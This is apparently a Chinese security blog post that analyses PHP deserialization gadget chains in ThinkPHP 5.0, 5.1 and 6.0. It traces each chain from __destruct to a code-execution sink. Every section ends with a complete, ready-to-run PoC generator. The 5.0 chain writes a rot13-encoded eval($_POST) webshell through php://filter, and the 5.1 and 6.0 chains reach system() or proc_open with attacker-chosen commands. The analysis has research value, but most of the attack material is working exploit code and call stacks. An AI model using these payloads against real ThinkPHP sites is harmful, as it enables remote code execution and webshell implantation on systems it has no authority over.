这里主要分析了几个网上比较多出现的thinkphp的pop链条
thinkphp5.0.x
复现环境:thinkphp5.0.14
在application/index/controller/index.php添加如下代码,提供反序列化漏洞点。
1 2 3 4
| public function index($payload) { unserialize($payload); }
|
入口__destruct
直接全局搜索function __destruct(),可以用的析构函数不多
也可以搜索function __wakeup(),只有一个,也没办法利用。

一个一个看析构代码,最终在Windows.php存在$this->removeFiles();,其会调用file_exists函数,可以作为跳板触发__toString

跳板_toString
同样全局搜索function __toString,阅读代码发现Module.php中的可以用

Model.php中的__toString方法最终调用到toArray方法

其中,Collection.php中的__toString最终也会调用到Module的toArray

因此,仔细看一看toArray方法有没有可以进一步利用的。
通过读代码,没有找到可以直接造成危害的代码,但是找出了可以触发__call的四个地方,而__call可以作为跳板进一步找寻薄弱点。

跳板__call
这里先不看选择上面的哪一个来触发__call,而先寻找可进一步利用的__call,之后再根据这个__call的要求(比如需要传入哪些参数)来选择这四个中的一个。
全局搜索function __call(,一共有10个,接下来就是一个一个的阅读代码。

最终找到Output.php中的__call,其调用了block函数,这里进入block函数的判断是我们可控的($this->styles可控)

之后block函数调用了writeln,writeln又调用了write函数,最终在write函数中调用了$this->handle->write。
那么,我们可以通过反序列化控制$this->handle,从而调用任意类的write函数

如何进到__call
那么到这里来看看我们应该选择之前四个中的哪一个来触发Output::__call。在Output的block函数中有如下代码:
这里的参数$style和$message拼接之后成为字符串,因此两个参数都不能是数组类型的,否则会报错。

而__call的代码如下:
在调用block之前,向args中插入了一个$method,之后使用call_user_func_array来调用block函数。

这里就相当于
1
| $this->block($method, $args[0]);
|
所以,对于触发这个__call的函数,其传入的参数也不能是数组类型。
根据以上这一点,我们可以排除四个可以触发__call的前两个,而第三个在调用前使用了method_exists来进行判断,所以也不能使用,因此只能使用第四个。

那么对于第三个,需要到达该行代码需要满足一些条件:

因为我们可以控制$this->append,进而可控$name,所以很容易就可以让程序走到else语句中。
Loader::parseName进行了字符串命名风格转换,不影响传入的$name。
Step1:
首先看如下代码,会先调用getBindAttr,之后会使用其返回的结果来循环遍历,因此我们需要找到一个存在getBindAttr方法的类,并且最好其返回值是可控的
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } }
|
全局搜索function getBindAttr,只有一处OneToOne.php中存在,恰好其返回值是可以通过反序列化来控制的。

OneToOne是一个抽象类,我们需要找到其子类,经过搜索找到了BelongsTo类。
Step2:
经过上面的分析,我们需要将$modelRelation这个变量是BelongsTo的对象,而$modelRelation是$this->$relation()的返回值,$relation是我们可控的,因此又需要找到一个方法,使其返回值是我们可控的。

在反序列化中,我们可以控制反序列化后对象的属性值,而对象的属性一般设置有getAttr方法来获取其值,所以搜索function get,之后再挨个读代码判断。
这里找到了一个getPk函数可以利用。

因此,我们可以将$relation设置成getPk,然后再通过控制$this->pk来对$modelRelation进行赋值。
Step3:
还需要解决的是$value变量,其通过$this->getRelationData($modelRelation);获得。

看看getRelationData的代码。我们需要将$value的值赋值为Output对象,这里if语句中的$this->parent、$modelRelation->getModel()均是可控的,所以我们可以返回$value为Output对象

到这里先构造一下payload,使其能够走到__call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| namespace think\process\pipes { class Windows{ private $files = []; public function __construct($f){ $this->files[] = $f; } } } namespace think\model{ // 因为Model是抽象类,使用的是Model的实现类 class Merge { protected $data = ["a" => ""]; protected $pk; protected $parent; protected $append = ["a"=> "getPk"];
public function setParent($parent) { $this->parent = $parent; } public function setPk($pk) { $this->pk = $pk; } } } namespace think\model\relation{ class BelongsTo{ protected $bindAttr = ["1" => "args"]; protected $model = true; } } namespace think\console{ class Output { protected $styles = ['getAttr']; private $handle; public function setHandle( $handle) { $this->handle = $handle; } } }
$output = new think\console\Output();
$belong = new \think\model\relation\BelongsTo(); $merge = new think\model\Merge(); $merge->setParent($output); $merge->setPk($belong);
$window = new \think\process\pipes\Windows($merge);
echo urlencode(serialize($window));
|
调用任意write方法
在OutPut类的write方法中,我们可以通过控制$this->handle来调用任意类的write方法。

全局搜索function write(,查找可用的类。
这里我找到了Redis类,其write方法如下。

这里又调用了$this->handler->set方法,全局搜索function set(,同样查找可利用的类
找到了File类的set方法存在写php文件的代码。

set方法写文件
在set函数,使用file_put_contents写文件
1 2 3 4 5
| $filename = $this->getCacheKey($name);` ... $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
|
其中$this->getCacheKey代码为

因此,$filename的一部分是可控的,并且名字是可以算出的。
在写完文件之后,会调用$this->setTagItem,其中代码如下,可以看见又调用了一次set函数,而且其中的$value可以是传入的filename。

因此,可以将$this->options['path']设置成php://filter/write=string.rot13/resource=<?cuc riny($_CBFG[1]);?>,使用伪协议来将"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"进行编码转换,从而写入真正的webshell。
需要注意的是,这需要在linux环境下才能生成,windows环境文件名不允许?
pop链和poc
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| File.php:153: file_put_contents() Driver.php:200, think\cache\Driver->set() File.php:155, think\cache\driver\File->setTagItem() File.php:153, think\cache\driver\File->set() Redis.php:103, think\session\driver\Redis->write() Output.php:154, think\console\Output->write() Output.php:143, think\console\Output->writeln() Output.php:124, think\console\Output->block() Output.php:212, call_user_func_array() Output.php:212, think\console\Output->__call() Model.php:869, think\console\Output->getAttr() Model.php:869, think\model\Merge->toArray() Model.php:893, think\model\Merge->toJson() Model.php:2210, think\model\Merge->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| <?php
namespace think\process\pipes { class Windows{ private $files = []; public function __construct($f){ $this->files[] = $f; } } }
namespace think\model{ class Merge { protected $data = ["a" => ""]; protected $pk; protected $parent; protected $append = ["a"=> "getPk"];
public function setParent($parent) { $this->parent = $parent; }
public function setPk($pk) { $this->pk = $pk; } } }
namespace think\model\relation{ class BelongsTo{ protected $bindAttr = ["1" => "args"]; protected $model = true;
} }
namespace think\console{ class Output { protected $styles = ['getAttr']; private $handle;
public function setHandle( $handle) { $this->handle = $handle; } } }
namespace think\session\driver{ class Redis{ protected $handler; protected $config = [ "expire" => -1, "session_name" => "" ]; public function setHandler($handler){ $this->handler = $handler; } } }
namespace think\cache\driver{ class File{ protected $options = [ "expire" => "0", "path" => 'php://filter/write=string.rot13/resource=<?cuc riny($_CBFG[1]);?>', "cache_subdir" => null, "prefix" => null, "data_compress" => null ]; protected $tag = true; } }
namespace { $file = new think\cache\driver\File(); // set
$redis = new \think\session\driver\Redis(); // write $redis->setHandler($file);
$output = new think\console\Output(); // __call $output->setHandle($redis);
$belong = new \think\model\relation\BelongsTo(); $merge = new think\model\Merge(); // __toString $merge->setParent($output); $merge->setPk($belong); $window = new \think\process\pipes\Windows($merge); // __destruct echo urlencode(serialize($window)); }
// O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CMerge%22%3A4%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3B%7Ds%3A5%3A%22%00%2A%00pk%22%3BO%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A4%3A%22args%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A26%3A%22think%5Csession%5Cdriver%5CRedis%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bs%3A1%3A%220%22%3Bs%3A4%3A%22path%22%3Bs%3A65%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.rot13%2Fresource%3D%3C%3Fcuc+riny%28%24_CBFG%5B1%5D%29%3B%3F%3E%22%3Bs%3A12%3A%22cache_subdir%22%3BN%3Bs%3A6%3A%22prefix%22%3BN%3Bs%3A13%3A%22data_compress%22%3BN%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A6%3A%22expire%22%3Bi%3A-1%3Bs%3A12%3A%22session_name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A5%3A%22getPk%22%3B%7D%7D%7D%7D
|
生成的webshell文件名为<?cuc riny($_CBFG[1]);?>3b58a9545013e88c7186db11bb158c44.php

thinkphp5.1.x
复现环境:thinkphp5.1.41
在application/index/controller/index.php添加如下代码,提供反序列化漏洞点。
1 2 3 4
| public function index($payload) { unserialize($payload); }
|
入口__destruct
入口和thinkphp5.0的一样,也是Windows.php存在$this->removeFiles();,可以触发__toString方法

跳板__toString
全局搜索function __toString,查找可以利用的toString方法,找到Conversion.php中的__toString调用了toArray,toArray存在可以触发__call的代码

通过反序列化设置$this->append,进而控制$key 和 $name,最终调用$relation->append($name)。
$relation是$this->getRelation($key)的返回值,其返回值也是可控。

接下来就是找可利用的__call了,之前的写文件的链好像可以用,但是这次找另外的。
跳板__call
找到Request的__call方法,代码如下

我们可以通过控制$this->hook,来控制call_user_func_array,因为$args经过了array_unshift,所以传入call_user_func_array的第二个参数实际值是[$this, $args]
因此,这里php的原生函数没有可以直接利用的,我们可以将其第一个参数设置成[class, method],来调用任意类的任意方法。
链1:使用Request类
通过上面的分析,我们已经可以调用任意类的任意方法了,如果分析过thinkphp5的rce漏洞就知道,Requset类中的input函数是利用连中很重要的一环,通过input函数的filter过滤来进行rce。那么这里我们也尝试去调用Request的input函数。
首先如果直接调用input函数,传入函数的参数是$this, $args我们没有办法直接控制$data变量,从而无法进行rce,那么就需要寻找那里调用了input函数。

查看input的调用可以发现,除了第一个param函数之外,别的都会将$name作为input的第二个参数进行传入,那么会对其强制转换为string。

而对于调用input的函数而言,这里以get函数为例,其传入的第一个参数即为上面的$this,是Requet对象,对其进行强制转成string类型,会报错终止程序,因此不可选。

所以,就剩下了一个parm函数可以用。
我们需要走到963行的input调用处,而其必须的条件是$name为true,所以直接调用parm不可取。

接下来寻找那里调用了parm函数。
经过查看函数调用,找到了两处可以满足条件的,就是isAjax和isPjax函数。


我们可以通过控制$this->config来使得param函数的参数为true,从而进入到我们想要的input函数中。
在parm函数中,我们可以控制调用input函数的第一个参数,而且第二个参数值为空字符串""

那么再input函数中,我们通过控制$this->filter传入我们的过滤器,再经过array_walk_recursive($data, [$this, 'filterValue'], $filter);就可以达到rce的效果。

pop链和poc
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Request.php:1466, call_user_func() Request.php:1381, think\Request->filterValue() Request.php:1381, array_walk_recursive() Request.php:1381, think\Request->input() Request.php:966, think\Request->param() Request.php:1683, think\Request->isPjax() Request.php:331, call_user_func_array() Request.php:331, think\Request->__call() Conversion.php:197, think\Request->append() Conversion.php:197, think\model\Pivot->toArray() Conversion.php:228, think\model\Pivot->toJson() Conversion.php:244, think\model\Pivot->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php
namespace think\process\pipes { class Windows { private $files = []; public function __construct($file) { $this->files[] = $file; } } }
namespace think { abstract class Model { private $relation; protected $hidden = [0 => true]; protected $append = [1 => ["whoami"]];
public function __construct($relation) { $this->relation = [1 => $relation]; } } }
namespace think\model { use think\Model; class Pivot extends Model { } }
namespace think { class Request { protected $hook; protected $config = ['var_pjax' => '']; protected $server = ["REQUEST_METHOD" =>"POST"]; protected $post = []; protected $param = ["calc"]; protected $filter = ["system"];
public function __construct() { $this->hook = ["append" => [$this, "isPjax"]]; } } }
namespace { $request = new think\Request();
$conversion = new think\model\Pivot($request);
$windows = new think\process\pipes\Windows($conversion);
echo urlencode(serialize($windows)); }
|
链2:使用Process类
网上搜索thinkphp5.1.x pop链,一般都是使用的上面的Request类,既然上面可以调用任意类的任意方法,那么攻击面肯定远远不止Request类。
这里我找到了Process的start方法。
其中使用了proc_open函数来执行系统命令,而且执行的命令$commandline和传入的参数均是我们可以控制的。

pop链和poc
调用栈:
1 2 3 4 5 6 7 8 9 10 11
| Process.php:234, proc_open() Process.php:234, think\Process->start() Request.php:331, call_user_func_array:() Request.php:331, think\Request->__call() Conversion.php:197, think\Request->append() Conversion.php:197, think\model\Pivot->toArray() Conversion.php:228, think\model\Pivot->toJson() Conversion.php:244, think\model\Pivot->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php
namespace think\process\pipes { class Windows { private $files = [];
public function __construct($file) { $this->files[] = $file; } } }
namespace think { abstract class Model { private $relation; protected $hidden = [0 => true]; protected $append = [1 => ["whoami"]];
public function __construct($relation) { $this->relation = [1 => $relation]; } } }
namespace think\model {
use think\Model;
class Pivot extends Model { } }
namespace think { class Request { protected $hook;
public function __construct($hook) { $this->hook = ["append" => [$hook, "start"]]; } }
class Process { private $status = ""; private $outputDisabled = false; private $commandline = "calc"; private $enhanceWindowsCompatibility = false; } }
namespace { $process = new think\Process();
$request = new think\Request($process);
$conversion = new think\model\Pivot($request);
$windows = new think\process\pipes\Windows($conversion);
echo urlencode(serialize($windows)); }
|
thinkphp6.0.x(6.1.0也可用)
复现环境:thinkphp6.0.13
使用composer安装:
1
| composer create-project topthink/think tp6.0.13 6.0.13
|
之后更改composer.json,把require的topthink/framework改成6.0.13
1 2 3 4 5
| "require": { "php": ">=7.2.5", "topthink/framework": "6.0.13", "topthink/think-orm": "^2.0" },
|
在application/index/controller/index.php添加如下代码,提供反序列化漏洞点。
1 2 3 4
| public function index($payload) { unserialize($payload); }
|
入口__destruct
入口寻找析构函数,这里我将范围固定在了thinkphp的自家框架里。

只有两个,其中的Model.php的调用了$this->save();,跟进save函数,发现其又调用了一系列的函数。

阅读$this->setAttrs,其内部调用了$this->setAttr,而在setAttr满足条件可以调用任意类的__toString方法。
如果我们能控制$this->setAttrs的参数$data,那就可以走到__toString这句代码处。

然而__destruct调用的save函数没有携带参数,因此再save函数中调用的$this->setAttrs参数为空数组。
接下来看看$this->updateData()函数。其内部会调用$this->autoRelationUpdate();,而在autoRelationUpdate中如果满足一定条件按,会再次调用Model类的save函数,而且其参数$val是可控的。

那么到这里,只要我们一路通过控制类的成员变量,就可以调用到任意类的__toString方法
这里的调用栈为
1 2 3 4 5 6 7 8
| 任意类的__toString() Attribute.php:388, think\model\Pivot->setAttr() Attribute.php:356, think\model\Pivot->setAttrs() Model.php:530, think\model\Pivot->save() RelationShip.php:790, think\model\Pivot->autoRelationUpdate() Model.php:608, think\model\Pivot->updateData() Model.php:536, think\model\Pivot->save() Model.php:1066, think\model\Pivot->__destruct()
|
跳板__toString
全局搜索function __toString,一个一个阅读,最终定位到Url类,其会调用$this->build()方法,而build方法中有许多可以作为跳板调用__call的代码。

其中的403行调用__call时传入两个可控的参数,而429行传入的是一个可控的参数。
接下来寻找可用的__call跳板
跳板__call
全局搜索function __call(,有非常多的类,这也代表有非常多的可能性,这里我只记录一条可以rce的链子。
在Channel类的__call,调用了其$this->log方法,log中调用了$this->record,record会调用$this->save()。
在save函数中,我们可以调用任意类的save方法。

需要注意的是,调用log方法的时候第三个参数类型必须是array,而如果选择前面两个可控参数来调用__call的话,这里将会不能满足第三个参数是数组类型。

因此,选择前面429行的那个函数来触发__call
寻找可用的save方法
全局搜索function save(,最终定位到Store类的save方法。其调用$this->serialize进行序列化,然而在serialize函数中可以通过控制$this->serialize变量来指定调用的原生函数,其中的参数$data也是可控的,因此我们可以执行任意的函数,并传入其参数。

但是在执行到$this->serialize之前,需要先执行$this->clearFlashData(),其中会调用$this->delete,其会要求$this->data必须是一个数组类型,否则将会报错而退出程序。
因此,我们上面实际上执行到$this->serialize的时候,其参数$this->data是数组类型。我们无法直接调用system函数来rce。
但是,我们可以将$this->serialize[0]设置成call_user_func,将第二个参数设置成[class, method]来调用任意类的任意方法,这样攻击面就放大了太多。
我们可以使用之前讲过的Request类的input函数这条攻击连来进行rce。
首先还是调用Request类的param方法,通过控制类属性,直接走到最后的input方法中

之后就是前面的老攻击手法了。
input函数中调用$this->filterData,通过控制filter过滤器,在过滤的时候执行任意函数,从而rce。
pop链和poc
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Request.php:1423, call_user_func() Request.php:1423, think\Request->filterValue() Request.php:1303, array_walk_recursive() Request.php:1303, think\Request->filterData() Request.php:1287, think\Request->input() Request.php:871, think\Request->param() Store.php:324, call_user_func:{}() Store.php:324, think\session\Store->serialize() Store.php:261, think\session\Store->save() Channel.php:145, think\log\Channel->save() Channel.php:104, think\log\Channel->record() Channel.php:279, think\log\Channel->log() Channel.php:284, think\log\Channel->__call() Url.php:429, think\log\Channel->getDomainBind() Url.php:429, think\route\Url->build() Url.php:505, think\route\Url->__toString() Attribute.php:388, think\model\Pivot->setAttr() Attribute.php:356, think\model\Pivot->setAttrs() Model.php:530, think\model\Pivot->save() RelationShip.php:790, think\model\Pivot->autoRelationUpdate() Model.php:608, think\model\Pivot->updateData() Model.php:536, think\model\Pivot->save() Model.php:1066, think\model\Pivot->__destruct()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| <?php
namespace think { abstract class Model { private $lazySave = true; private $data = ['a' => 'b']; private $exists = true; protected $withEvent = false; protected $readonly = ['a']; protected $relationWrite; private $relation; private $origin = [];
public function __construct($value) { $this->relation = ['r' => $this]; $this->origin = ["n" => $value]; $this->relationWrite = ['r' => ["n" => $value] ]; } }
class App { protected $request; }
class Request { protected $mergeParam = true; protected $param = ["calc"]; protected $filter = "system"; } }
namespace think\model { use think\Model; class Pivot extends Model { } }
namespace think\route { use think\App; class Url { protected $url = ""; protected $domain = "domain"; protected $route; protected $app;
public function __construct($route) { $this->route = $route; $this->app = new App(); } } }
namespace think\log { class Channel { protected $lazy = false; protected $logger; protected $log = [];
public function __construct($logger) { $this->logger = $logger; } } }
namespace think\session { class Store { protected $data; protected $serialize = ["call_user_func"]; protected $id = "";
public function __construct($data) { $this->data = [$data, "param"]; } } }
namespace { $request = new think\Request(); $store = new think\session\Store($request); $channel = new think\log\Channel($store); $url = new think\route\Url($channel); $model = new think\model\Pivot($url); echo urlencode(serialize($model)); }
|